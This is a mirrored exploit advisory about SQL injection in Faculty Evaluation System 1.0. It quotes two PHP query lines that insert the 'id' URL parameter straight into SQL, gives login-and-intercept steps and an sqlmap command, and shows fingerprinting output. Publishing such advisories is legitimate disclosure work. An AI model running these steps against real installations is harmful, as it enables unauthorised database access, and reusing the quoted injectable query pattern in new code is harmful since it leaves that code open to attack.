Lucene search
K

Faculty Evaluation System 1.0 SQL Injection

🗓️ 10 Jul 2023 00:00:00Reported by Andrey StoykovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 171 Views

Faculty Evaluation System v1.0 SQL Injection, exploit details, and SQLMap usag

Code
`# Exploit Title: Faculty Evaluation System v1.0 - SQL Injection  
# Date: 07/2023  
# Exploit Author: Andrey Stoykov  
# Vendor Homepage: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/eval_2.zip  
# Version: 1.0  
# Tested on: Windows Server 2022  
  
  
SQLi #1  
  
File: edit_evaluation  
  
Line #4  
$qry = $conn->query("SELECT * FROM ratings where id = ".$_GET['id'])->fetch_array();  
[...]  
  
  
SQLi #2  
  
File: view_faculty.php  
  
Line #4  
  
// Add "id" parameter after "view_faculty" parameter then add equals "id" with integer  
[...]  
$qry = $conn->query("SELECT *,concat(firstname,' ',lastname) as name FROM faculty_list where id = ".$_GET['id'])->fetch_array();  
[...]  
  
  
Steps to Exploit:  
  
1. Login to application  
2. Browse to following URI "http://host/eval/index.php?page=view_faculty&id=1"  
3. Copy request to intercept proxy to file  
4. Exploit using SQLMap  
  
  
sqlmap -r test.txt --threads 1 --dbms=mysql --fingerprint  
  
[...]  
[INFO] testing MySQL  
[INFO] confirming MySQL  
[INFO] the back-end DBMS is MySQL  
[INFO] actively fingerprinting MySQL  
[INFO] executing MySQL comment injection fingerprint  
back-end DBMS: active fingerprint: MySQL >= 5.7  
comment injection fingerprint: MySQL 5.6.49  
fork fingerprint: MariaDB  
[...]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2023 00:00Current
7.1High risk
Vulners AI Score7.1
171